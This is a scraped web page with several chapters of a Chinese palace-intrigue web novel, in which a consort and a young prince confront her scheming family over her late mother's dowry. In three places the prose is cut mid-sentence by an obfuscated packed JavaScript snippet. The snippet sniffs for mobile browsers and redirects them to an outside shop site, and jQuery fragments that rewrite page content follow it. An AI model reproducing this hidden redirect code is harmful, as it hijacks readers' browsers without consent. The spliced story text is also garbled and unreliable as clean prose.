亓轸将双手背到身后,歪了歪头表情无辜。 “咚!”物品清脆的触地声在安静的寝殿内显得格外大,两人同时愣住,一齐低头去瞧。落在地上的物什是亓轸用来束发的头冠。 于少微飞快去瞄亓轸,只见少年满头乌发散落在肩,表情懵怔,显然是呆住了。 她再也忍不住,捧着肚子放声大笑起来。等她好不容易笑完,发现亓轸不知什么时候捡起了自己的头冠,正皱着眉看它。 于少微好奇地凑近了些,将手伸向少年耳边,亓轸下意思闭眼缩了缩,于少微已经抓住他一缕黑发,惊奇道:“你是卷发欸!” 少年睁眼看她,有些不安道:“我也没办法……” “你不喜欢?”于少微听出他语气里的厌弃。 亓轸垂下眼,轻轻道:“它很奇怪。” 于少微不赞同的摇摇头,她转着手指将卷发缠绕其上,嘟囔道:“我想要还没有呢。” “您喜欢?”亓轸捕捉到她话里的关键词。 “当然!”于少微给了她一个肯定的表情,怕不够表明她的态度,又连点了好几个头,“你的头发很好,很黑,卷的弧度也很好,非常漂亮!” 女子声音清冽,一字一言像是敲在人的心上。 亓轸眼睛闪了闪,伸手勾住了面前人的一缕黑发,学着她的动作将其缠在自己的手指上,他低头看了又看,轻轻道:“我喜欢您的头发,很好,很漂亮。” 于少微被他这副可怜的模样软了心神,她双手按住少年的肩膀,看着他的眼睛认真道:“我很喜欢你的卷发,或许曾经…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938475|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反正你不必在意旁人说什么,那些都是不相干的人。” 亓轸定定的看着面前的人,冬日的衣服太厚,他的肩膀感受不到她手心的温度,但她的目光也是暖的。 烛台的“噼啪”声打断了沉静,于少微瞟了眼只剩短短一截的蜡烛,惊觉时间竟已过去那么久。 “好了,时候不早了,回去歇息吧。”她温声开口,将少年的思绪拉回了现实。 亓轸有些苦恼地看着手上的头冠,对着于少微面露希冀:“您会束发吗?我回去还有段路,晚上风大,头发披着怕吹的到处都是。” 于少微诚实地摇摇头,“我叫青阳来吧。” “算了,也没几步路,我就这样回吧。”亓轸一口回绝。 “唔……”于少微盯着少年肩上的乌发皱眉思考。 “有了!我帮你编条麻花辫!”她边说着边起身往自己的妆台走,“你等一下我去拿个东西。” 亓轸待在位置上,看见她从抽屉里摸了个木盒出来,又低头挑挑拣拣一会儿,再转身时手上多了条深碧色的绸带,“这个适合你!”于少微兴冲冲道,表情跃跃欲试。 亓轸伸手接过,不用她多言,自个儿就非常自觉的背过身去。 于少微走到他身后,指尖先触到他垂在胸前的发尾,一点点将散落的发丝尽数捋到颈后,爱惜地抚了抚“真漂亮。”她低低道,带着几分不自觉的叹惋,吐息落在少年的后耳侧,激起一片细密的痒意。 亓轸眼神颤了颤,偷偷攥紧了膝上的衣袍,耳尖不受控地泛红,连带着呼吸也乱了半拍,却不得不装作镇定,他不敢回头。 于少微专注于手中的发丝,没有察觉到少年的异样,纤细的手指在黑发中灵巧翻飞,不一会儿就编好一条粗粗的发辫,她接过亓轸递来的绸带,精心系了个蝴蝶结,兀自欣赏了一会儿,又把完工的辫子捞到亓轸面前,推了他一把,“搞定,你回去吧,不谢!” 亓轸轻轻点了点头,攥着衣角起身,后颈似乎还残留着她指尖的温度,他没有回头去看身后的人,低低道了一句“再见”,随即迈着略显虚浮的步履离开了。 室外,夜晚呼啸的冷风让亓轸冷静了些,他摸了摸自己滚烫的脸,不需要铜镜,他也知道自己现在是什么模样。 又走了几步,他忍不住抬手去碰垂在胸前的发辫,绸带系得紧实,蝴蝶结的边角还带着点软绵的触感,少年猛地收回手,耳尖又热了几分。 禄子提着灯气喘吁吁地跟了上来,他方才一直与青阳她们坐在一处吃茶,亓轸忽然跑出来给他吓了一跳,手忙脚乱地从青阳手里接过宫灯急匆匆地跑了出去。 “欸,殿下,您的脸怎么了!不会是又发热了吧?”禄子举高宫灯,看见亓轸的样子,十分担心。 “咦?您的头冠呢?这辫子是谁给您辫的?” “我母妃方才给我辫的。”亓轸选择性地回答了后一个问题。 “哦,哦,啊……婕妤手艺真好!”禄子觑着亓轸的表情,试探道。 亓轸矜持地点点头,表示认可。 “那您脸是怎么回事?奴才替您请太医过来看看吧?”禄子很是担心。 亓轸瞬间冷脸,斜了他一眼,兀自加快了脚步。禄子不知道自己哪句话将人惹到了,只能认命的迈开步子,小跑跟上。 29. 第二十九章 三日后,辰时,于少微拿着庆帝给的出宫令牌,与亓轸共乘一辆马车,带着宫里的赏赐往于府驶去。 正如亓轸所言,文淑妃果然在采买的部分做了手脚,亓轸派人查到,供货的商铺除了惯常为皇室服务的那些,还有好些民间的铺子,查这些铺子的主人费了番力气,所幸结果没让人失望,那些铺子虽没有直接指向淑妃,却都与淑妃的亲族关系匪浅。 并且,各个商铺的供货数量也是错的,大部分的物什账目上虽写的是由惯常为皇家服务的铺子提供,然实际上基本由与淑妃有关的铺子供应。 于少微听完亓轸查到的消息,心中渐渐有了计划。 颠簸的马车内,于少微靠着车壁旁的软枕闭目养神,耳边传来窸窸窣窣的声音,她眼皮抬都没抬,淡淡道:“别过来。” 亓轸想要靠近的动作顿了两秒,又开始往旁边挪。 于少微心累地睁开眼,伸手推了一把少年贴过来的脑袋,语气很是不解:“那么宽敞的位置你就非要和我挤吗?” “冷,靠近些暖和。”亓轸面不改色。 于少微翻了两个大大的白眼:“冷就多穿点,我又不是暖炉,一靠近就自动散热。” 亓轸委屈,“儿臣就是想离您近些,您知道的,我自小就没人可以亲近,您待我好,我自然想与您待在一处,我看六弟与他母妃也是一样的,您为什么阻止我呢?是我做错了什么吗?明明之前也不是这样的啊?” 于少微被他问的哑口无言,她应该怎么解释,亓辙多大你多大?他与德妃是亲母子,我们俩是吗? 是,她之前是没觉得有什么不对,但三天前,他们吵架又和好的那个晚上,她明显感到有什么奇怪的东西在萌芽,事后她又回忆了一番,越发肯定自己的感觉。 这个年纪的少年正是躁动不安的时候,不怪她多想,上辈子见太多了,躁动的情感、旺盛的精力,虽然她与他差着岁数,身份差距更是有如鸿沟,更何况生活也不是小说,她的担心有很大机率是天方夜谭,但……还是防范于未然最好。 她不想亓轸因为自己走上一条歧路,更不想让自己陷入一个糟糕的境地。 “母妃?母妃!”亓轸在叫她。 于少微眼神复杂地看着面前那张青涩俊美的脸庞,镇定自若地“嗯”了两声,这不挺好的吗,再多叫两声,我的好大儿。 “母妃?”亓轸皱眉。 “嗯?”于少微示意他继续说。 “您在想什么?”亓轸肯定她刚刚那个表情绝对在想事情。 “没有啊。”于少微矢口否认。 亓轸狐疑:“那您为什么一直看着我发呆?” 于少微镇定自若道:“我在想回去拿几匹布给你做衣裳,你不说冷吗?我记得我那儿还有匹陛下赏的皮毛,回去就给你安排上。” 开玩笑,她还真能把她心里想的东西告诉他不成。 亓轸像是信了她的话,摇头道:“这些我自己的份例里都有,您给自己留着做衣裳。” 于少微潦草点头。 “欸那我刚刚问您的——” 马车停了下来,于少微掀开帘子看到记忆中的大门,打断少年的话:“咱们到了,下车吧。” 带着宫中印记的马车停在于府正门,守在门口的小厮赶忙进去通报,不一会儿,于夫人就携带一双儿女出现在门口。 于少微为了回避亓轸的问题,本来半个身子都探出马车了,槐序也先她一步下了车在车旁准备搀扶,但她瞟到空荡荡的大门时瞬间改了注意,整个人又缩了回去。 亓轸见她去而复返,瞬间明白了她的意思,掀开帘子对着车外的人道:“马车颠簸,母妃身子不适,需要休整。” 于夫人来时看见门口大咧咧横着一辆装饰华贵的马车,该出现的人却瞧不见半个影子,打发人上前去问,却被槐序用亓轸刚刚的借口搪塞了回去。 “那赶紧请婕妤下车回屋里歇着啊,我这就命人去熬安神的汤药。”于夫人面露焦急。 “有劳夫人了。”槐序朝她行了个礼。 “那婕妤她……”于夫人见马车周围的人都没有动静。 “婕妤她身子实在不适,现下不宜挪动。”槐序一脸忧心。 “那我们就得站在这里等她吗?”抱怨的是于夫人的小儿子于惟。 旁边的于三姑娘扯了一下自己的弟弟,示意他闭嘴。 “那我们在这等等大姐姐吧。”她温和地对着槐序道。 估摸过了一刻钟,于少微终于露面,她佯装虚弱的掀开帘子,亓轸抢先一步扶住了她的胳膊,低声道:“您身体不适,让我扶着您吧。” 于少微一僵,奈何找不到拒绝的理由,只能点头答应。 亓轸扶着于少微不着痕迹地避开了槐序上来搀扶的手,于少微无奈,只得由着他将自己带下车,状态疲软,一副十足的虚弱模样。 于夫人总算将人等下来了,领着儿女上前行礼。 “母亲快快起来。”于少微踉跄着想上前搀扶,亓轸扶着她的胳膊紧了紧,她瞬间意会,身子一歪往少年身上倒了倒,一副没有气力的模样。 “婕妤小心身子!”于夫人尴尬地收回手,带着儿女自行起身,面上很是忧虑。 “知道我母妃身体不适,怎么连个轿撵都没安排?于府的下人就是这么做事的?”亓轸扫了一圈,突然发难。 于夫人表情瞬间僵住,努力挤出了一个难看的笑,“我早叫人安排了,不知怎么手脚那么慢,惟儿,你进去看看。” 于惟闻言满脸不情愿地跑了进去。 亓轸又突然侧了侧身子,对着于少微温言道:“您要不先去车上候着?这会儿风大。” 于夫人:…… 抬头看了看大好晴天,于夫人等人满头黑线,哪里有风?哪里? 于三姑娘于纨看见亓轸对于少微说话的模样,表情有瞬间愣怔,这位鲜少听闻的五皇子明明刚刚对着他们还冷着脸满是不耐,现在那双深邃的眼眸却又突然像盛满了初融的春水,看得人心神荡漾。 于少微暗暗掐了把少年,示意他差不多得了,别演太过,亓轸勾了个浅浅的笑,表示自有分寸,于少微不着痕迹地瞪了他一眼,里头却藏着明晃晃的笑。 于纨将两人的互动尽收眼底,心里忽然有些不是滋味,在意识到自己似乎是在羡慕,甚至嫉妒于少微,这个她从来就没放在眼里的人时,她瞬间如遭雷劈,满脸不可置信,仿佛受到巨大打击。 于夫人察觉到小女儿的失态,抬手拍了拍她的肩,于纨咬咬牙换回了寻常的表情,左手狠狠掐住自己的手心。 从前连正门都走不了的于少微,如今是坐着轿撵被人从于府大门抬进去的,路上,她谢绝了于夫人让她去后院的招待,指挥亓轸跟着他们走,自己则让人把她抬去了于父所在的书房。 “听母亲说父亲身体不适,怎的还在书房操劳?”于少微一进门就笑眯眯道。 “臣参见婕妤娘娘。”于父躬身朝她行礼。 “父亲快快请起。”于少微假意上去搀扶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943349|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 于父又朝于少微拱了拱手,语含歉意:“臣前几天刚染了风寒,不好见风,没去迎接娘娘,还望娘娘不要怪罪。” 于少微假笑了两声,将于父扶了起来,埋怨道:“父亲怎么能这么想女儿。” 于父不着痕迹地斜了她一眼,换了个话题道:“婕妤来找臣是有事要说?” 于少微颔首。 于父瞥了管家一眼,后者立马将屋子里的人都带出去,并小心将门关好。 “可是陛下有何旨意?”于父试探道。 于少微自个儿寻了个位置坐下,抬头假笑道:“父亲莫不是糊涂了,陛下怎会与女儿谈这些?” 于父自知失言,顿了顿,道:“臣失言,还望婕妤见谅。” “父亲,您以前可不是这样的。”于少微表情似笑非笑。 于父沉默了半响,声音没有太大起伏:“婕妤也与之前不同了。” 父女两人隔着方案定定看了几秒,于父率先收回目光,语气比方才恭敬许多:“婕妤有何事相谈?” 于少微好整以暇地点了两下桌面,扬眉道:“父亲不必对女儿如此防备,无论过往如何,我也是于家的女儿不是?” “我进宫也有大半年了,宫里有李婕妤、文淑妃、谢贵妃……我明白家世的助力,也明白‘我们’”于少微指了指自己,“对家族的助力,相信父亲这半年多也见识到了吧。” 于父谨慎地点点头。 “我今日找你,是为了这个。”她从袖中掏出一个信封,放在桌上示意于父去看。 于父伸手去拿,先是看了于少微一眼,才小心将其拆开,待看清里头的内容后,他略显混浊的瞳孔骤缩,有些震惊道:“你从哪里得来的这个?” “女儿住在淑妃宫里,现又替皇后娘娘处理宫中事务,总是会有些法子的。”于少微语调缓缓。 “你为什么要把这个给我。”于父眼里带着明显的不信任。 “唉,我刚说的话,你又忘了。”于少微无奈叹气。 于父沉吟片刻,问道:“你想要什么?” “自然是希望于家能助我与五殿下在宫中安安稳稳,平步青云。”于少微嘴角勾出一抹浓丽的笑。 于父沉默一瞬,似是下了什么决心,低声说道:“五殿下不可能登上皇位。” 于少微“哎呀”一声,挑眉看他,“天子脚下,父亲这话可不能乱讲啊。” 于父沉默不语,于少微也不讲话,待人脸上的警惕与不安渐浓,她才不紧不慢道:“您说笑了,这个女儿当然知道,我也没那么大野心,只是父亲,难道皇子就只有皇位这一条可走吗?没谁会比你们这些人更清楚,一个有实权的王爷与一个徒有虚名的王爷,区别有多大了吧。” “我是为了我自己,但也是为了于家啊。”于少微两手撑在桌面上,露出一个诚恳的笑。 于父沉默半响,似是在考量,似是在算计,于少微微抬下巴任他打量。 “多谢娘娘,臣知晓了。”于父垂眼将信封收好。 这么快,她还以为要再费些气力呢,看来这份消息比想象中好用。 “对了,无论您做什么,千万不要提到我的名字。”于少微特意提醒道。 “娘娘放心。”于父表情肯定。 事情既已谈完,于少微与这个父亲也没什么话好讲,她站起身,抚了抚自己整齐的鬓角,慢悠悠道:“那女儿先去找五殿下了。” 于父也跟着起身,打开房门,对着于少微道:“我陪娘娘一起。” 30. 第三十章 于府暖阁,一方酸枝木镶理石八角几横在中间,亓轸独坐一侧,身姿舒展,一手随意搭在扶手上,不见半分做客的拘谨。于夫人与于纨并坐其对面,母女二人你看看我,我看看你,拿不准这位五殿下究竟是何态度。 亓轸自坐下始就没动过面前的茶水与点心,于夫人心头打鼓,悄悄按了按女儿的手,脸上堆笑:“殿下一路舟车劳顿,想来是渴了,这茶叫蒙顶石花,虽比不得宫里的顾渚紫笋,却也清雅甘醇,别有一番山野风味,您不妨尝尝。” 于纨也道:“这茶在民间也算是稀罕物,我们家今年也只得了这么一点点,素来舍不得拿出来,听闻殿下与大姐姐要回府,母亲才特意吩咐人寻出来。” 亓轸掀起眼皮瞥了于纨一眼,于纨心头一跳,有些羞涩地抿唇低头,却听到少年凉凉道:“于三小姐的规矩是怎么学的?我母妃乃父皇亲封的婕妤,你怕是不能这么称呼她吧。” 于纨瞬间哑言,她脸颊有些泛红,急忙争辩道:“我…我只是觉得婕妤娘娘虽是陛下的婕妤,但也是于家的大小姐,如今回家了,这么称呼婕妤许是会觉得亲切些……” 亓轸不答,只是斜眼去看于夫人。 “纨儿年纪还小,我替她向婕妤赔个不是,望殿下不要计较。”于夫人赔笑道。 “我——”亓纨梗着脖颈还欲再言。 “纨儿!”于夫人皱眉看她。 亓纨撇下嘴,低头喝茶。 亓轸将母女俩这一番眉眼官司尽收眼底,唇边勾起一抹似笑非笑的弧度,慢悠悠开口:“于夫人方才说,要向我母妃赔不是?” 于夫人一愣,旋即连连点头:“是,是臣妇失言。” “既如此,便等我母妃到了,夫人当面与她说吧。”亓轸淡淡道。 说罢,他终于抬手端起那盏冷了许久的茶,众人屏息凝神间,却听他蓦地赞了一声:“好茶。” 于夫人紧绷的脸色霎时松缓几分,刚要顺着话头寒暄几句,亓轸的声音却又轻飘飘地响起:“听三小姐方才的意思,贵府这蒙顶石花是年年都有?” “是是。”于夫人忙点头,脸上堆起殷勤笑意,“殿下若是喜欢,我让人包一些回去给您带回宫。” 亓轸既没应承也没拒绝,只垂眸望着杯中澄澈的茶汤,琥珀色的液体映着他含着绿意的瞳仁,唇角忽然露出一抹极浅的笑,于夫人与于纨皆是一愣,竟看得有些呆了。 “于家有如此好茶,我见于三小姐很是懂其滋味,怎么我在宫中却从没听母妃提起过呢?”亓轸语似调笑,表情却很认真。 于夫人猛地回神,心头咯噔一下,支支吾吾道:“许……许是婕妤娘娘入宫日久,将这茬给忘了吧……” “哦?是吗?”亓轸挑眉,目光沉沉地看向她。 于夫人被这样一双泛着冷意的眸子盯着,明明屋子里头暖如春日,却莫名觉得有些胆寒。 “婕妤娘娘在家中时就不大爱说话,她没与您讲许是觉得宫中好茶万千,这民间的蒙顶石花怕是入不了您的眼。”于纨悄悄在底下牵住母亲的手,脆生生的答道。 “或许吧。”亓轸不再看她们,将目光投向窗外。 于夫人不敢再提茶的事,可也不敢将这位煞神晾在一旁,只得硬着头皮伸手推了推桌上的点心碟子,赔笑道:“殿下尝尝点心吧,这是厨房新做的,还算精致。” 亓轸又好像忽然正常了起来,依言拿了块点心,轻轻咬了一口,赞道:“贵府的点心味道很好。” 于夫人长长松了口气,脸上的笑意真切了几分,连忙指着另一碟琥珀色的糕点道:“您再试试这道核桃糕,厨房专门用小火将其水分焙干,口感很是酥脆。” 亓轸依言尝了一块,细细咀嚼片刻,点头道:“口感是与别处不同。” 见他态度渐缓,于纨也来了精神,凑上前叽叽喳喳地介绍起府中吃食,少年垂眸听着,眼神却晦暗不明。 “……这些不过是些零嘴,等午时用膳,殿下便能尝到府里的拿手菜了……” “呦,在聊什么呢?这么热闹。” 于纨的话正说到兴头,暖阁外忽然传来一道清冽的女声,她下意识皱眉,却看见对面的少年猛地抬起头来,眼里闪过一抹极亮的光彩,一瞬间她的心脏突然梗得慌,像是有人拿块大石头将其压住了。 暖阁门帘被侍女掀开,于少微缓步走了进来,她今日穿了一身红地宝相花缬纹绫夹衫,下衬石榴红卷草纹八破间色长裙,鬓边的红梅绒花随着她的动作轻轻颤动,整个人光鲜夺目,神采奕奕,哪有半分从前在家时畏缩怕事的模样。 于夫人母女俩对视一眼,眉头俱是一皱。 “怎么我一来就不讲了?”于少微笑吟吟的解下大氅,递给一旁的侍女,屋子里的三人都站起来迎接。 “于三小姐方才在讲府里的厨房,母妃若是想听,就让她待会儿接着说吧。”亓轸已经起身迎了上来。 “五殿下安。“跟在于少微后面的于父见人躬身行了个礼。 亓轸淡淡颔首,没再给后面那一家人半分目光,只是领着于少微在他身侧的锦凳坐下。 “父亲。”于纨轻轻唤了一声,声音里带着几分委屈。 于父瞥了眼自己的小女儿,笑着点了点头,又往旁边看了看,疑惑道:“惟儿呢?” “惟儿突然说他肚子疼,回屋躺着了。”于夫人上前牵住自己的夫君。 “定是昨晚吃太多积食了。”于父摇摇头,又道:“让人煮一壶山楂茶送过去。” 于夫人眉开眼笑地“嗳”了一声,对旁边的侍女吩咐下去。 这边亓轸已经将方才尝到觉得好吃的菊糕推到了于少微面前,轻声道:“您尝尝这个,肯定和您胃口。” 于少微依言拈起一块绿色的方糕,一口咬掉半块,眉目露出惊艳之色。 亓轸见她喜欢,唇角笑意更深,带着几分得意道:“我一尝到它就知道您会喜欢。” 于少微又将剩下半块扔进嘴里,赞道:“里头竟然有肉馅,咸甜的口味,味道很好。” 于父也注意到这边的动静,见于少微眉眼露出的轻松之色,他松了口气,笑道:“娘娘喜欢就多吃些,您自入了宫,也许久未尝到家中的菜色了,怕是想念得紧。” 此言一出,于夫人与于纨瞬间一惊,同时去瞟亓轸。 果然,亓轸眉眼一动,刚要发问,于少微就开口了:“父亲此言差矣,女儿在家中时,从未吃过如此美味的糕点,既是第一次吃,又何来想念一说?” 亓轸也紧跟道:“方才听于夫人与于三小姐介绍的头头是道,我还想着难怪母妃能拥有御厨都比不上的好手艺,定是珍馐吃多了才能做到,不想母妃竟是没尝过?” 于少微叹了口气,“也不是都没尝过,我过去在家中经常去厨房帮厨,也能吃到一些,在宫中给你做的那些吃食,也是那时候学会的。” 亓轸倒抽一口凉气,震惊地看着于少微,声音有些颤抖,”那母妃您的意思是,是……” 于少微看着面前精致的点心,似是悲从中来,神情落寞地点了点头。 “岂有此理!”亓轸气愤拍桌,冲着对面的一家人厉声道:“于家这般门第,竟是这般苛待自己的亲生女儿?” 于夫人缩了缩脖子,尝试着打圆场:“娘娘是在说笑呢,我,我们怎么会如此呢……” 于纨也点头:“母亲说得没错!婕妤在家中的日子可是我们姊妹中的头一分呢!” 于少微看着面前颠倒是非的母女俩,比气愤先来的是震惊,她今日算是开了眼了,这世上居然有人能如此不要脸,睁眼说瞎话的本事简直独一份的。 她转而看向一旁沉默的于父,见他眉头紧锁,眼底亦有几分震惊,于少微心中冷笑,他是真的不知,还是揣着明白装糊涂?于夫人敢这般肆无忌惮,难道不是他常年纵容的结果? “母亲是不打算承认了?”于少微缓缓抬眼,目光落在于夫人身上。 “娘娘这说得什么话,臣妇可担不起这样的罪责。”于夫人回过了神,料想她在宫中还要靠着家里,不敢撕破脸,所以咬死不松口。 于纨也帮腔,看着亓轸一脸可怜样:“我知道母亲是继室,所以娘娘一直不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952096|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜,只是,只是也不能如此污蔑母亲啊……”她说到最后,声音染上了哭腔。 于少微静静看着两人的表演,感受着这具身体本能的愤怒。 “既然如此,那待我回去禀告父皇,届时定会水落石出!”亓轸再次开口。 “不可!”于父终于开口,连忙摆手道,“陛下日理万机,岂能为臣子家事烦忧?此事还是今日便了断的好。”说罢他看向于少微,“婕妤有何要求不妨直言。” 于少微淡淡瞥了他一眼:“父亲所言极是,家务事确实不宜叨扰陛下,女儿也并非不近人情之人,今日便只提三点。” 她抬手,屈起一根手指,目光落在于夫人身上,“首先,我要拿回我生母的全部嫁妆。” “可以。”于父几乎没有犹豫,当即点头应允。 “老爷!”于夫人失声惊叫,满脸慌乱地看向于父,眼中满是不敢置信。 “你即刻让人去取嫁妆清单,仔细清点核对,一并交给。”于父的语气不容置喙。 见事情没有回转余地,于夫人脸色灰白,讷讷点头。 于少微将她那副失魂落魄的模样尽收眼底,旋即又屈起第二根手指:“其次,于纨于惟日后的婚事须得由我过问。” “不行!”于夫人像是被掐住脖子的公鸡,尖声叫道。 于纨也泪眼斑斑的看向于父:“父亲不可啊……” 于父表情犹豫,他看看哭天抢地的妻女,又看看神色淡然的于少微,迟疑着开口:“这……怕是不合规矩吧?娘娘身在宫中,不宜再插手家中晚辈的婚事。” 于少微闻言,唇角勾起一抹浅笑,不慌不忙道:“于纭在与谢家议亲吧?” 此言一出,满室寂静,于夫人瞬间回头,面露惊恐,仿佛于少微是什么罗刹恶鬼,于纨亦是脸色煞白,眼中泄露几分明晃晃的恨意,于父眉头皱得更紧,眼中闪过一丝狐疑,沉吟片刻,终是点了点头。 于少微哀叹一声:“前几日陛下与我闲谈时还提起此事,怪我身为于家女儿,竟连姊妹议亲之事都不知晓。” “什么?”于父脸色一变,猛地转头瞪向于夫人,厉声质问道,“我不是早就吩咐过你,让你将此事告知婕妤吗?!” 于夫人嘴唇嗫嚅着,脸色一阵青一阵白,竟是半个字也说不出来。 “你……”于父看着她这副模样,气得胸口起伏,重重地叹了口气。 不过于父还是没有放弃,他又看向于少微,语气恳切了几分:“此事是臣的错,臣明日自会向陛下请罪,不会连累娘娘声誉,只是……于纨于惟他们……” “父亲怕是忘了我说的话?我记得,于慎娶的也是谢家女吧?你知道的,陛下最讨厌世家之间交往过密,我过问于纨于惟的婚事,也是为了于家啊。”于少微痛心疾首道。 于父不讲话了,沉默半晌,终是艰难地点了点头。 “不!父亲——”于纨凄厉地尖叫一声,死死地拽着于父的衣袖不肯松手。 于父猛地甩开她的手,沉声道:“此事就依婕妤所言。” 于少微见状,故作沉吟般蹙眉思索片刻,脸上忽然漾起一抹浅笑,“我原本还想着第三点,只是此刻竟有些记不清了,也罢,待我日后想起来再与父亲说吧。” 于父闻言脸色一僵,像是被什么东西哽住了喉咙,半晌说不出话来,却又无可奈何,只得再次点头应允。 适时,暖阁外传来传膳的声音,于少微闻言,率先起身,随意理了理衣襟上的褶皱,语气轻快:“没想到竟说了这许久,时辰过得可真快。” 亓轸立刻起身扶住她的手臂,含笑附和:“孔夫子有言,与善人居,如入芝兰之室,久而不闻其香,即与之化矣。想来人在舒心之时,光阴总是过得格外迅疾。” 于少微赞赏地看了他一眼,颔首道:“殿下此言极是,既如此,便去用膳吧,听闻于府的膳食名满京城,说起来,我在这府中住了二十载,竟还从未好好享用过一顿家宴呢。” 她话音未落,便与亓轸一起迈步朝着暖阁外走去,留下于家三人在原地脸色各异,宛若泥塑木雕。 31. 第三十一章 于少微与亓轸用过午膳后便回宫了,他们走后,于夫人铁青着脸回到自己的院子,将屋里的东西砸了一地。 于少微母亲是商贾出身,出嫁时家中还未败落,那真是好大一笔嫁妆!于夫人嫁进来后立马就将其全部收为己用,十几年来,不但撑鼓了自己的私囊,也供养了她娘家一堆人,如今让她一个子不落全部交出来,她如何受得了! 至于于惟于纨的婚事,于夫人想起这个就恨,恨得抓心挠肝,恨不得亲自上前掏了于少微的心肝! 该怎么办,她的惟儿纨儿,该怎么办啊…… 于夫人再也撑不住,瘫坐在罗汉床上,俯身呜呜的哭泣。 “娘!” 着急的呼喊声自门外传来,于纨听到侍女的传报后,连忙拉上于惟一起去主院找人,一进门看见满地狼藉与中间哭得浑身抽搐的于夫人,面上焦急之色更显,赶忙牵起裙子跑了过去,将人一把抱住。 “娘,娘,是我,女儿来了。”于纨看着母亲涕泪纵横的模样,泪水夺眶而出,颤抖着轻拍着她的脊背。 “纨儿,我的纨儿啊!娘对不住你,对不住你们姊妹几个啊……”于夫人抱着女儿,更是泪如泉涌。 “哪是娘的错,分明是于少微那个贱人!”于惟站在一旁,愤恨开口。 方才午饭,他亲眼看到那位五殿下逼着二姊和母亲给那人道歉,还说什么是事先说好的?母亲脸色煞白,二姊也气得落泪,那贱人满脸得意,他当即就想站起来骂人,要不是父亲按着他…… 于惟越想越气,将脚边的碎瓷片狠狠踢到一边。 于纨摸出帕子给母亲擦眼泪,瞥了弟弟一眼,哀婉道:“弟弟快别说这话了,要是传到宫里,我们又不知要被如何整治了。” “她还敢把手伸到家里来不成?不过一个区区婕妤罢了,若不是我们家,她哪有机会踏进宫门?当初就该让她烂死在那穷乡僻壤!”于惟怒不可遏,胸膛剧烈起伏。 于纨和于夫人对视一眼,她们都在想,当时让于少微入宫是不是错了? 不! 于夫人用力抹了把脸上的泪,眼中迸发出怨毒的光,她没错!要是不送于少微进去,就得是她的纭儿!谁知道宫中是什么日子?贤妃那般康健的人,说没就没了,谁知宫里有什么虎豹豺狼?她的纭儿那么小,又与谢五郎情投意合,她又怎么忍心?怎么舍得! 本想着以于少微的脾性,进去也成不了什么气候,说不定哪天就没了,还省得脏了她的手,结果没想到,哼,这个贱人竟然入了皇帝的眼,现在连老爷都站在她这一边,凭什么?凭什么!她和她的死鬼娘,这辈子下辈子下下辈子都应该趴在她脚下! 于纨察觉到掌心传来的刺痛,她忙掰开母亲的手,咬着牙道:“娘,您别担心,嫁妆没了便没了,咱们还有爹爹,还有整个于家!我和弟弟的婚事尚且还有好几年的光景,谁知到那时又什么光景?她于少微难道能得意一辈子?别忘了,宫里还有的是人呢!” 于夫人听了女儿的话表情依旧没好转,她长叹一口气,颓然摇了摇头:“女儿你不知,她把那份嫁妆拿走,我手里的银钱便去了大半,你和你姊姊的嫁妆又要少多少。于家早已不比从前,娘苦心筹谋了半辈子,只是希望你们都能好好的……” 话说到这,于夫人刚止住的眼泪又流了下来,于纨听了母亲的话也心痛的要命,恨不能将于少微挫骨扬灰,啖其肉,饮其血! 于惟站在一旁,将周围的碎片踢地到处飞溅,几个侍女瑟瑟缩在角落不敢乱动,于父站在院子门口远远看见屋子里的情况,刚跨进的脚又迅速收回,转身匆匆离去。 * 晴雨阁 于少微坐在罗汉床上翻看刚从于府到手的嫁妆单子,实际她早已在于府仔细看过两遍,马车上又摸出来看了一遍,现下刚坐下又开始欣赏,原因无它,实在是太多了! 真是好大笔财富!于少微颠了颠手中的薄册,感觉浑身飘飘然的,直到现在她还有一种乍然暴富的懵感。 亓轸坐在一旁,他在于府跟着于少微盘点时,也被其母亲的嫁妆略略震惊到,不过很快就回过神了,他早前便知晓,于少微的外祖家曾是名动一方的富商。 “你帮我看看这几间铺子,还有这几处庄子…以及单子后头记的这些管事、伙计……”于少微将单子递到亓轸面前,一一指了几个地方。 亓轸探头看去,待看清上面写的东西,他瞬间明白她的意思:“您是想——” “对,就是你想的那个意思,我想在宫外培植我自己的眼线。”于少微干脆道。 这其实是她早就计划好的,她预感之后要做的事情肯定不少,但她也不能一直依靠亓轸,所以早在拜托亓轸去查淑妃的册子时,她就决定要在宫外培植自己的力量。 “没问题,我帮您一起吧。”亓轸点点头,开始在脑中盘算此事应如何行动。 